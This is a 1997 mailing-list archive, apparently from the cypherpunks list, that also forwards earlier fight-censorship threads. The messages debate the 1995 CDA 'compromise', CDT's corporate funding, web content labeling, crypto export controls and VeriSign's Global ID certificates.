Date: Thu, 17 Jul 1997 16:44:12 -0400
From: Seth Finkelstein <sethf@mit.edu>
To: fight-censorship@vorlon.mit.edu
Cc: jseiger@cdt.org, jberman@cdt.org
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups

	I finally went back digging through my archives, to confirm my
memory that we had gone through almost exactly this sort of argument
in the run-up to the CDA. All the elements were there - the
"compromise" in terms of attempts to use labeling, the defensiveness
from EFF, CDT, compared to opposition from the ACLU, and so on. Not a
whole lot has changed. Mike Godwin was just as snide and snotty then
as he is now :-).
	The idea then was the infamous White proposal, lower the
standard a little, have "good faith" defenses (what evolved into
censorware and ratings). Basically, have businesses running the
system, don't let the Religious-Right go wild. Well, that lost out
narrowly, and so we fought the CDA battle. But after that was won,
those interested in content regulation didn't just pack up and go
away. They went back to the earlier proposals. Which is an excellent
argument that nothing will be gained by any sort of "compromise" here.

================
Seth Finkelstein
sethf@mit.edu



Date: Sat, 2 Dec 1995 21:11:50 -0500
Message-Id: <951202211149_42309455@emout05.mail.aol.com>
To: declan+@cmu.edu, fight-censorship+@andrew.cmu.edu
Subject: Re: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise

Let me make it clear that the ACLU does not support this compromise and that
no true civil liberties organization, which represents the interests of
internet users and content providers does.

Barry Steinhardt
ACLU


Message-Id: <QkkAOHO00WCQNEcLgN@andrew.cmu.edu>
Date: Sat,  2 Dec 1995 16:35:15 -0500 (EST)
From: "Declan B. McCullagh" <declan+@CMU.EDU>
To: Fight Censorship Mailing List <fight-censorship+@andrew.cmu.edu>
Subject: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise

	 NEW YORK (Reuter) - A group of commercial online services 
and civil liberties groups have agreed to accept restrictions on 
sexual material being sent on the Internet, the New York Times 
reported in Saturday editions.  
	 The compromise, drafted by Washington state Republican Rick 
White, would create provisions for a Senate bill that would 
impose fines and prison sentences on people who transmit 
pornography, the newspaper said.  
	 It said the compromise, circulating as a draft on Capitol 
Hill, made no distinction between commercial and nonprofit 
service providers. It said the restrictions would presumably 
apply to all, including Internet access nodes run by academic 
institutions.  
	 The Times said the agreement was being made known days 
before a joint Senate-House committee is expected to debate a 
measure that would impose fines of up to $100,000 and jail terms 
on people who knowingly transmit pornography or material 
deemed ``filthy'', ``lewd'' or ``indecent''.  
	 The compromise would weaken the Senate bill's prohibitions 
against making indecent material available to children by 
changing the prohibition to material that is considered 
''harmful to children'', the Times reported.  
	 The compromise would also offer added protection to online 
services or information providers who make a good faith effort 
to keep sex material away from children, the newspaper said.  

---

	NEW YORK (AP) -- There reportedly is agreement on legislation 
limiting pornography on the Internet.  
	The New York Times reported Saturday that a coalition of 
commercial on-line providers and some civil liberties groups have 
reversed course and signed on to a compromise drafted by Rep. Rick 
White, R-Wash.  
	The move comes just a few days before a House-Senate conference 
committee takes up a measure that would impose prison sentences and 
fines on people who knowingly transmit pornography or material 
deemed ``filthy'' or ``lewd.''  
	But White's proposal would offer added protection to on-line 
services that make good-faith efforts to keep pornography away from 
children.  
	The Times report says the coalition has agreed to the compromise 
as the lesser evil of other more restrictive proposals.  





From: Mike Godwin <mnemonic@well.com>
Message-Id: <199512030242.SAA13684@well.com>
Subject: Re: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise
To: BSACLU@aol.com
Date: Sat, 2 Dec 1995 18:42:24 -0800 (PST)
Cc: declan+@cmu.edu, fight-censorship+@andrew.cmu.edu
In-Reply-To: <951202211149_42309455@emout05.mail.aol.com> from "BSACLU@aol.com" at Dec 2, 95 09:11:50 pm


 
Barry Steinhardt writes:

> Let me make it clear that the ACLU does not support this compromise and that
> no true civil liberties organization, which represents the interests of
> internet users and content providers does.
>
> Barry Steinhardt
> ACLU

I don't think Barry Steinhardt is in the position of defining, in this
rather authoritarian manner, who qualifies as "true civil liberties
organization, which represents the interests of internet users and content
providers."

EFF takes the position that no content-control legislation should be
passed. At the same time, we acknowledge the value of efforts, such as
that of Congressman White, to steer the Telecom Bill toward language that
is congruent with the long-established Constitutional framework that
limits what the government can do with regard to expression. (We do so
even though we do not endorse any of the proposals that have been
floated in the conference committee.)

If this counts as "support" for this compromise -- that is, if Barry
Steinhardt takes the position that "no true civil liberties organization"
could conceivably take a principled position that does not parrot 
Steinhardt's own -- then perhaps he should say so now, since EFF had
planned to work with ACLU on litigation challenging whatever content-
control language emerges in the telecom bill.

I had not thought, before now, that the only "true" civil liberties
position is one that precisely parrots that of Steinhardt and the ACLU.
Perhaps the DOJ's antitrust division should investigate the ACLU's 
monopoly on principled civil-liberties stances.

It is a sad historical fact that, all too often, certain civil
libertarians feel compelled to spend their energy in quarrelling
with allies over relatively minor differences on strategic and tactical
issues while the pro-censorship forces close ranks and present a united
front. You'd have think we'd all have learned by now.

I should hope, by the way, that my own credentials as a "true" civil
libertarian are not in question. I'm willing to compare my track record 
on "cyber liberties" with anyone else's.

Perhaps Barry could identify with some specificity those whom he, from his
lofty perch, believes to be other than "true" civil libertarians.
Alternatively, he may have some suggestions as to how we can all continue
to work together without wasting any time pissing on each other.


Yours for freedom of speech on the Net,

--Mike Godwin
  Staff Counsel
  EFF




To: fight-censorship+@andrew.cmu.edu
From: kip@world.std.com (Bob Chatelle)
Subject: Re: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise
Date: Sat, 2 Dec 1995 22:30:05 EST
Message-Id: <kip.1598.0013DAEC@world.std.com>

In article  Mike Godwin <mnemonic@well.com> writes:
> 
>Barry Steinhardt writes:

>> Let me make it clear that the ACLU does not support this compromise and that
>> no true civil liberties organization, which represents the interests of
>> internet users and content providers does.
>>
>> Barry Steinhardt
>> ACLU

>I don't think Barry Steinhardt is in the position of defining, in this
>rather authoritarian manner, who qualifies as "true civil liberties
>organization, which represents the interests of internet users and content
>providers."

>EFF takes the position that no content-control legislation should be
>passed. At the same time, we acknowledge the value of efforts, such as
>that of Congressman White, to steer the Telecom Bill toward language that
>is congruent with the long-established Constitutional framework that
>limits what the government can do with regard to expression. (We do so
>even though we do not endorse any of the proposals that have been
>floated in the conference committee.)

I do not believe that Barry was criticizing EFF or any other civil-liberties 
group that has been opposing content-restrictive legislation.  Barry was 
rightly taking issue with the NYT for claiming that civil-liberties groups 
were willing to accept compromise on restricting content.  I think his 
statement, that no true civil-liberties group would support such a compromise 
is valid.  Mike, in the above paragraph, explicitly states that EFF does not 
support such compromises.  But we all knew that.

I think this was a simple case of someone taking offense where no offense was 
meant.  I do that myself more often than I care to admit.  To get pissed off 
is human.  Let's all keep working together.

Cheers,
Bob

--------------------------------------------------------------------------------
Bob Chatelle                   kip@world.std.com          National Writers Union
Cambridge, Massachusetts                                 UAW Local 1981, AFL-CIO
                   Boston Coalition for Freedom of Expression
Home Page: http://world.std.com/~kip/     PGP Public Key Available on Request
   "The right to be let alone is indeed the beginning of all freedom."
                                  --Justice William O. Douglas
-------------------------------------------------------------------------------



Message-Id: <wkkwz4W00YUt9Vcidz@andrew.cmu.edu>
Date: Mon,  4 Dec 1995 23:51:16 -0500 (EST)
From: "Declan B. McCullagh" <declan+@CMU.EDU>
To: Fight Censorship Mailing List <fight-censorship+@andrew.cmu.edu>
Subject: CDT Funding and Cyberporn "Compromise"
Cc: berman@cdt.org
References: <199511230338.TAA00816@igc3.igc.apc.org>

When I was in Boston over the weekend, I had brunch at a wonderful
Harvard Square patisserie with Harvey Silverglate, Seth Finkelstein, and
Bob Chatelle. Over coffee and baguettes we talked about the "cybersmut
compromise" on the front page of the NYT that morning. The NYT was
reporting that "some civil liberties groups" -- in particular the Center
for Democracy and Technology -- had agreed to the "compromise:"

 "While it does embody much of the original Exon proposal, it does so in 
 a way that tries to embody a constitutionally recognized standard." 
    --Jerry Berman, director of the Center for Democracy and Technology

We were confused. This is the same "compromise" that Barry Steinhardt
from the ACLU said that "no true civil liberties organization" would
support. (I recall that Barry is the associate executive director and
the head of the ACLU's Civil Liberties in Cyberspace task force.)

Today I ran across this message about the CDT. I'm copying this to Jerry
Berman in case he'd like to respond.

-Declan


---------- Forwarded message begins here ----------

Date: Thu, 23 Nov 1995 00:38:12 GMT
From: "W. Curtiss Priest" <BMSLIB@mitvma.mit.edu>
Subject: Corporate Crime and CDT Funding on behalf of so-called medical privacy


There is a very interesting discussion on the Federal Medical Information
bill on the med-privacy list, Curt

----------------------------Original message----------------------------

     The following article appeared in the current issue of
Corporate Crime Reporter (Volume 9, Number 44, November 20, 1995,
page one).  It is redisseminated on the Internet with the
permission of CCR.

SELF-PROCLAIMED "PUBLIC INTEREST" GROUP  HEAVILY FUNDED BY
COMPUTER, TELECOMMUNICATIONS, DATABANK CORPORATIONS THAT WOULD
BENEFIT FROM "MEDICAL PRIVACY" LEGISLATION GROUP SUPPORTS --
EQUIFAX, TRW, DUNN & BRADSTREET IN THE MIX

     The Center for Democracy & Technology (CDT), a self-
proclaimed "public interest organization," is in fact heavily
funded by large private computer, telecommunications, and
databank corporations.
     Funders of CDT, a two-year old Washington, D.C.-based
advocacy organization, include Dunn & Bradstreet Corp., Equifax
Inc., and TRW Information Services, three large databank
corporations that stand to benefit from federal legislation CDT
actively helped shaped and is shepherding through Congress.
     This year, CDT has received $699,643 from more than 30 large
corporations, including $100,000 from Microsoft, $75,000 from
AT&T, $60,000 from Bell Atlantic, $50,000 from Apple Computer,
$25,000 from IBM, $10,000 from TRW Information Services, $10,000
from Dunn & Bradstreet, $5,000 from Direct Marketing Association,
and $5,000 from Equifax Inc. (For a complete list of CDT's
funders, see At A Glance, page 16)
     At a hearing before the Senate Labor and Human Resources
Committee last week, CDT deputy director Janlori Goldman said
that CDT "strongly supports" legislation, S. 1360, sponsored by
Senators Robert Bennett (R-Utah) and Patrick Leahy (D-Vermont),
because it represents "the most comprehensive and strong privacy
bill the Congress has yet considered in this area."
     But opponents of the bill argue that the legislation is not
a privacy statute at all, but instead is a vehicle that would
legitimize the creation of large computerized databanks of
personal medical information, thus benefitting those companies
like TRW and Equifax that give financial support to CDT. The
legislation would allow for broad, unauthorized searches of those
databanks, opponents claim.
     In an interview, Goldman told Corporate Crime Reporter that
all of CDT's corporate funding is earmarked for other projects
and that none of the corporate funding is supporting her work on
the medical privacy bill.
     "The corporate funding is not related at all, in any way
shape or form to my work on this bill," Goldman said. "The reason
we are doing this bill is that I've worked on privacy issues for
a decade. The most important privacy issue to work on is the
passage of the medical records privacy legislation. That is a
very sincere issue for me."
     "None of the corporate support that CDT gets is related to
my work on this bill," Goldman emphasized. "None. Zippo."
     CDT's executive director, Jerry Berman agreed. "We have no
funding for the medical privacy project -- zero," Berman said.
     But critics of the CDT's position on the legislation were
skeptical.
     "During the Senate hearing this week, Senator Bennett was
angered at the suggestion that S. 1360 was an industry bill,"
said Jamie Love of Ralph Nader's Center for Study of Responsive
Law. "He claimed that he had widely consulted with privacy groups
and patient advocates. CDT's Janlori Goldman was the key person
who decided who was in the loop, and who was not in the loop on
this issue. Groups that were not receptive to the idea of massive
database systems of personal medical records were excluded from
deliberations."
     "To find out that CDT has been funded by companies such as
Equifax, TRW, Dunn & Bradstreet, IBM and the telephone companies
is remarkable, because these are among the groups who have the
most at stake in legitimizing and preserving the current system
of maintaining and managing medical records," Love said. "I think
that Janlori Goldman should have mentioned in her Senate
testimony that CDT was funded by corporations who have an
interest in this issue."
     "If CDT were doing its job, TRW and Equifax wouldn't want to
give it money," Love added.
     Harold Eist, president-elect of the American Psychiatric
Association, said that "any datagathering and large computer
company would clearly benefit from legislation that drives large
amounts of individually identified data about American citizens
into data banks without the knowledge and permission of those
American citizens."
     "Selling that information would represent a gold mine for
those companies," Eist said.
     "It is not surprising that an organization with a
disingenuous name -- Center for Democracy & Technology -- would
be supporting a bill with a disingenuous name -- The Medical
Records Confidentiality Act," Eist said. "In fact, this bill
represents an effort to give away the privacy of American
citizens without their knowledge."
     "My understanding is that Janlori Goldman was involved in
writing the bill," Eist said. "It seems to me that as a former
civil libertarian, she should know very well that there are
loopholes in that bill regarding protections to privacy that you
could drive a Mack truck through."
     "Unless people can be assured that their privacy will be
protected, there is little or no chance that they will reveal the
kind of tormented and dark secrets that they have to reveal to
recover from their illnesses," Eist said. "Confidentially is the
sine qua non of medical treatment, and especially if it is
psychiatric medical treatment."
     A driving force behind the effort to derail the
Bennett/Leahy bill is Denise Nagel, a Boston physician who
organized the Coalition for Patient Rights of New England "to
restore confidentiality to the doctor-patient relationship."
     Nagel refused to comment on CDT's funding.
     At the Senate hearing last week, Nagel told the committee "I
have no industry ties."
     Nagel charged that S. 1360 was written "to advance the
interests of certain segments of the computer,
telecommunications, data processing and health-care industries."
     "With this bill they would be able to careen full speed
ahead to develop data networks that will give innumerable people
access to our medical records legally and without our knowledge,"
Nagel said.
     "I am convinced that S. 1360 is not at all primarily
concerned with the confidentiality of medical records," Nagel
told the committee. "It is just the opposite. It talks about
informed consent, but then authorizes the creation of databases
without patient knowledge or consent. It talks about individual
rights, and then allows police broad authority to search
databases directly instead of obtaining a specific record from
the patient's doctor. It talks about civil and criminal
sanctions, and then pre-empts all common law and most existing
and future state statutes. It talks about ensuring personal
privacy with respect to medical records, and then sets a ceiling
rather than a floor on medical confidentiality."

AT A GLANCE: CENTER FOR DEMOCRACY AND TECHNOLOGY FUNDING, 1994-
1995

American Advertising Federation         500.00
America Online, Inc.                 25,000.00
Apple Computer Inc.                  50,000.00
AT&T                                 75,000.00
Bell Atlantic                        60,000.00
Business Software Alliance            6,000.00
Cellular Tellecomm Indust Assn       10,000.00
CompuServ                            30,000.00
Delphi Internet Services Corp        10,000.00
Direct Marketing Association          5,000.00
Dunn & Bradstreet Corp               10,000.00
EMA                                   5,000.00
Equifax Inc.                          5,000.00
John Gilmore                          2,500.00
Hartford Foundation                 153,000.00
IBM                                  25,000.00
Information Technology Industry       5,000.00
Interactive Digital Software          5,000.00
Lotus                                 6,250.00
MARC                                 80,000.00
MCI Telecommunications               15,000.00
Microsoft                           100,000.00
National Cable Television Assn       15,000.00
Netscape Communications Corp          5,000.00
Newspaper Association of Am           5,000.00
Nynex Government Affairs             25,000.00
Pacific Telesis                      25,000.00
Prodigy Service Company              10,000.00
Software Publishers Assn             10,000.00
Time Warner Inc                       5,000.00
TRW Information Svcs                 10,000.00
US Telephone Association             10,000.00
US West Inc                          10,000.00

Total Funding                        814,020.00

Received 1994                        114,377.00
Received 1995                        699,643.00

Total Funding                        814,020.00


Russell Mokhiber
russell@essential.org
voice: 202/429-6928





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 18 Jul 1997 06:15:06 +0800
To: cypherpunks@toad.com
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups (fwd)
Message-ID: <Pine.LNX.3.95.970717175139.11493B-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 17:19:58 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: Seth Finkelstein <sethf@mit.edu>, fight-censorship@vorlon.mit.edu
Cc: jberman@cdt.org
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups

At 4:44 PM -0400 7/17/97, Seth Finkelstein wrote:
>	I finally went back digging through my archives, to confirm my
>memory that we had gone through almost exactly this sort of argument
>in the run-up to the CDA. All the elements were there - the
>"compromise" in terms of attempts to use labeling, the defensiveness
>from EFF, CDT, compared to opposition from the ACLU, and so on. Not a
>whole lot has changed. Mike Godwin was just as snide and snotty then
>as he is now :-).
>
><....>

Ah, the old 'drag out CDT's funding list' trick.  For the record, CDT is
supported by companies and foundations who share our agenda and goals, and
believe that we are effective advocates of our views.  Search all you want
for a consipracy -- you aren't going to find one.

While CDT makes no apology for our position (along with EFF and others) to
reluctantly support White's proposal 2.5 years ago given the context of the
debate (read our statement at
http://www.cdt.org/publications/pp311204.html) - the fact is that the
Supreme Court decision settled this debate, and the White compromise was
never passed by Congress.

As for your claim that what happened yesterday at the white house is
similar to the "compromise" of December 1995, you are way off base.

White 1995                                 White House 1997
--------------------------------------------------------------------------------

Content Regulations imposed                No content regulations, no law
by Congress on all Internet                or regulation of Net, no requiement
Publishers.                                to label or rate content.

Criminal Penalties for                     No criminal penalties for anything
display of Harmful To                      besides trafficing in child
Minors Material w/o good                   pornography, obscenity or
faith effort to block                      stalking kids online (illegal before
kids access                                CDA)

The bottom line is that these are two remarkably different approaches. Even
White himself is supportive of the direction the President articulated
yesterday.

Hope that helps clarify a bit.

Jonah



  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151
<jseiger@cdt.org>

http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/homes/jseiger/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 18 Jul 1997 09:37:54 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <33CEBACC.31388B70@netscape.com>
Message-ID: <Pine.3.89.9707171711.A10551-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Tom Weinstein wrote:

> I don't know the details of the agreement between VeriSign and the
> USG.  I'm curious: how will the CRL for this revocation get distributed?
> Since Communicator doesn't automatically pull CRLs, how can any action
> on VeriSign's part disable crypto for that server?  Or are you
> suggesting that as part of the revocation process, the USG will bust
> down their doors and grab all copies of their private keys?

[Tom, I am glad that your are adding your voice to this tread].

It is true that Communicator does not presently pull CRL's. However, an 
X.509 based application probably should pull the CRL, or at least verify 
that a cert about to be relied upon has not in fact been revoked by 
looking for a match in the CRL. It stands to reason that Communicator 
will at one point add this, IMHO proper, feature.

I also would like to mention the reader that yesterday's release of MSIE 
4.0b2 *does* have the ability to check CRL's.

Even if Communicator would never check CRL's, not even in the future, the
mere fact that the Global ID cert have only a one year lifetime means 
anyone relying on Global ID can be held hostage by threatening to 
refuse to renew their cert. The reader may not be aware that unlike other 
certs, the Global ID certs are *only* issued by VeriSign. You can 
not go to a non-US CA and obtain such a cert. [Which of course would defy 
the whole purpose of this rather slick deal :-]

Unless VeriSign includes in the price of the Global ID cert a bond that will 
compensate the buyer of a Global ID based commerce system for any and all 
future losses caused by VeriSign either revoking or refusing to renew a 
cert (fat chance), anyone basing their strategy on having such a cert is 
at risk of losing their business.

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 18 Jul 1997 09:38:37 +0800
To: geeman@best.com
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <3.0.32.19970716224205.006e5034@best.com>
Message-ID: <Pine.GSO.3.95.970717182623.19394a-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Read the complete text of my article. The RSACnews system would include
just that: a system that allows a board of media conglomerates to decide
what's a "news site" or not. 

In other words, what's "credible."

-Declan


On Wed, 16 Jul 1997 geeman@best.com wrote:

> I can't wait until the tags include information on *political* content, or
> *credibility factor* (i.e. sanctioned by medai conglomerate or not) etc...
> 
> At 02:06 PM 7/16/97 -0700, Declan McCullagh wrote:
> >
> >***********
> >
> >http://pathfinder.com/netly/opinion/0,1042,1173,00.html
> >
> >The Netly News (http://netlynews.com)
> >July 16, 1997
> >
> >At The Censorware Summit
> >by Declan McCullagh (declan@well.com)
> >
> >     If you host a web page or publish online, be
> >warned: soon your site might become invisible. Search
> >engines won't index it and web browsers won't show it.
> >Unless, that is, you agree to attach special labels to
> >your web pages identifying how violent, sexually
> >explicit, or inappropriate for kids your site is.
> >
> >     This was the thrust of today's White House
> >censorware summit, where President Clinton sat down
> >with high tech firms and non-profit groups in a
> >private meeting to talk about pressuring the Net
> >community to make cyberspace childsafe through labels.
> >"We need to encourage every Internet site, whether or
> >not it has material harmful to minors, to rate its
> >contents," Clinton said after the meeting. Vice
> >President Gore was there, too, giving a quick
> >demonstration of how labeling works.
> >
> >     Spooked by the threat of a revised Communications
> >Decency Act, high tech firms are seriously backing
> >labels for the first time. Joining Clinton in coercing
> >Internet users and businesses to label all their web
> >pages were Yahoo, Excite, and Lycos. "I threw a
> >gauntlet to other search engines in today's meeting
> >saying that collectively we should require a rating
> >before we index pages," Robert Davis, the president of
> >Lycos, told me. Translation: if you don't play ball,
> >and label your site, search engines will ignore you.
> >
> >     As will future users of Microsoft's Internet
> >Explorer browser. The next version of IE will default
> >to displaying only properly labeled web pages,
> >according to Ken Wasch, the president of the Software
> >Publishers Association. Since many users won't turn
> >off that feature to reach unrated sites, many large
> >web sites now are facing hefty pressure to self-label.
> >
> >     Other high tech firms rushed to join the
> >presidential limelight. Netscape promised to join
> >Microsoft and include label-reading software in the
> >next version of its browser. America Online's Steve
> >Case thanked Clinton for "backing industry's efforts
> >to make cyberspace a safer place." IBM announced a
> >$100,000 grant to RSACi, a PICS-based rating standard
> >originally designed for video games but adapted for
> >the Web. The industry giant also pledges to
> >incorporate RSACi into future products.
> >
> >[...]
> >
> >
> >
> >
> >
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 18 Jul 1997 09:45:13 +0800
To: cypherpunks@toad.com
Subject: ESPN hacked -- got info? (fwd)
Message-ID: <Pine.GSO.3.95.970717183258.19394c-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 17:56:29 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: ESPN hacked -- got info?

[From a friend. Any responses? --Declan]


---------- Forwarded message ----------

Declan --

Do you have any information about the ESPN/SportZone web site store being 
hacked?  Or a contact?  The pro-crypto folks on the Hill are quite 
interested to know if 1) this site was using encryption before being hacked 
and 2) what type of encryption they are using now (one of the press stories 
noted that crypto was one of the security measures implemented after the 
hacking).

I realize this was probably an inside job, but it's good fodder for the 
Hill.  Any insight you might have -- or other examples -- would be great.

Thanks in advance.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Fri, 18 Jul 1997 01:09:51 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707171645.SAA09016@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 16 Jul 1997 frissell@panix.com wrote:

> What ever happened to "de minimus non curat lex."  The social damage from a 
> misrated website is too trivial to be believed.  Punishing it is like 
> executing you for farting.

  In some cases that may not be a bad idea :). But getting back to the
original point, if I'm going to be subject to jail for mislabeling my
pages (and how do you tell, given that some systems use a numeric rating? 
count the nipples and add the size of any erections?) then that would 
seem to be a good reason to move my Web site out of America. 
  Idependent rating systems are a good thing, and we've talked about them
here many times in the past (e.g. 'repuation markets'). A mandatory
requirement for web authors to rate their own pages is a hideous idea
which will simply move more of the Web overseas, helping to destroy the US
economy. 

WebMonger 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 10:49:31 +0800
To: cypherpunks@Algebra.COM
Subject: Our basic rights are not to be traded away for exports
In-Reply-To: <v03102801aff4655f3759@[207.167.93.63]>
Message-ID: <v03102800aff485c28d86@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:43 PM -0700 7/17/97, Declan McCullagh wrote:
>We need the administration to do one thing: lift export controls.
>
>Then it and Congress should forget all about the Net.
>
>-Declan

I don't think it is going to do that. Unless it gets something _major_ in
return, as part of a deal.

And given the choice between liberty and a lifting of export restrictions,
I know which side I support. No doubt about it.

If export restrictions remain in place, the world will still have
arbitrarily strong crypto. After all, implementations of RSA and other
public key systems are widely available in Europe and Asia. Stronghold
comes from overseas, Israel is a major center, Switzerland has long been a
point of development (though perhaps with NSA involvement, it is rumored),
and so on.

And an export ban might actually _help_ us all, by incentivizing world-wide
development, by "breaking the monopoly" the U.S. has held. (I'd rather that
Big Brother stay the hell out of the whole issue, especially as export
controls are worthless anyway.)

In any case, we as American citizens (and others) cannot accept limitations
on our basic freedoms to hold our own keys, to speak in whatever languages
we wish, to whisper and write in private languages, to sign whichever keys
we wish (in whichever ways we wish), and to write and speak without
"labeling" requirements...we cannot accept limits on these basic rights
just so that Netscape and Microsoft can export their patent-entangled
products!

I wish Netscape, Microsoft, and others well, but not if it means Big
Brother gains new powers. I'd rather see them lose billions to the foreign
equivalents, even face eventual loss of all of their markets, than see my
freedoms compromised.

And it's reprehensible that civil liberties groups are even _talking_ to
these statist creeps. What part of "Congress shall make no law" is unclear
to them?

Has it ever been the case that one basic right is compromised so that some
company can get an export license? That the right to keep and bear arms is
restricted so that Colt can export M-16s to Iraq? That the right to publish
is limited so that the New York Times can get the lucrative overseas
publishing franchise for Americans stationed in Europe? And so on.

Our basic rights are not to be traded away for export licenses.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 10:56:40 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102801aff4655f3759@[207.167.93.63]>
Message-ID: <v03102801aff48a1390fc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:36 PM -0700 7/17/97, Mac Norton wrote:
>On Thu, 17 Jul 1997, Tim May wrote:
>>
>> Taxes are already essentially uncollectable, even in interstate
>> transactions, so the moves by Summers and Magaziner are truly token
>> gestures.
>
>
>Uh, Tim, corporate and personal income taxes are still rather
>well collectible, and that my be the reason the federal gov't
>doesn't worry too much about taxing the Net. State, and even
>more so local, gov'ts do not have the same collectibility
>advantage.  And the locals are often revenue-starved and

I meant that taxes are essentially uncollectable for interstate
transactions like mail order purchases.

I buy several thousand dollars worth of stuff each year by mail order, and
only a few hundred bucks worth of it has been taxable.

My state, California thinks I should either send them a check for 8.25% of
all that I have purchased, or that the vendors in New Hampshire, Ohio, etc.
should send them such a check....we all ignore this notion, and there is
little to be done. It is this sort of "tax arbitrage" I was drawing a very
real parallel to.

Most "tax the Net" talk I hear about is about taxing Net commerce (as
opposed to, say, placing a per minute tariff on Net connections). Hence, my
point.

I wasn't referring to either corporate or personal income taxes, which have
little or nothing to do with the Net.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 18 Jul 1997 11:11:20 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970717182623.19394a-100000@well.com>
Message-ID: <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:40 PM 7/17/97 -0400, William H. Geiger III wrote:
>I think that several of us need to get together with the authors of Lynx
>and produce a GNU secure webbrowser and take on these SOB's.

Nothing wrong with releasing a GNU browser, but you will find it difficult
to impossible to match the features of a modern browser such as
Communicator and MSIE. Some may be happy with Lynx. Myself and most
consumers will stick with Communicator and MSIE.

[...]
>The "Net" will not be safe as long as N$ is allowed to do whatever they
>please.

The Net would be considerably safer if Netscape and others would be allowed
to do as they please. Unfortunately, export laws are a reality and Netscape
and Microsoft do what they can to bring strong crypto to as many people as
possible without ending up in jail. My posts on this topic should not be
taken as bashing these software vendors for attempting to make their
products available to a larger number of customers. I certainly do not
question the integrity of people such as Tom Weinstein who have worked hard
to make the best of a shitty situation. A situation they did not create.
[That questionable honor goes to the USG].

I merely question the wisdom to rely on a solution that can be disabled at
any time, for any reason, or no reason at all, by a party outside your
company simply by revoking a single cert. One should not make one's fate
subject to the future whim of a third party.

Thanks,



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 18 Jul 1997 11:21:38 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <33CEDD64.292388D@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> On Thu, 17 Jul 1997, Tom Weinstein wrote:
> 
>> I don't know the details of the agreement between VeriSign and the
>> USG.  I'm curious: how will the CRL for this revocation get
>> distributed?  Since Communicator doesn't automatically pull CRLs, how
>> can any action on VeriSign's part disable crypto for that server?  Or
>> are you suggesting that as part of the revocation process, the USG
>> will bust down their doors and grab all copies of their private keys?
> 
> [Tom, I am glad that your are adding your voice to this tread].
> 
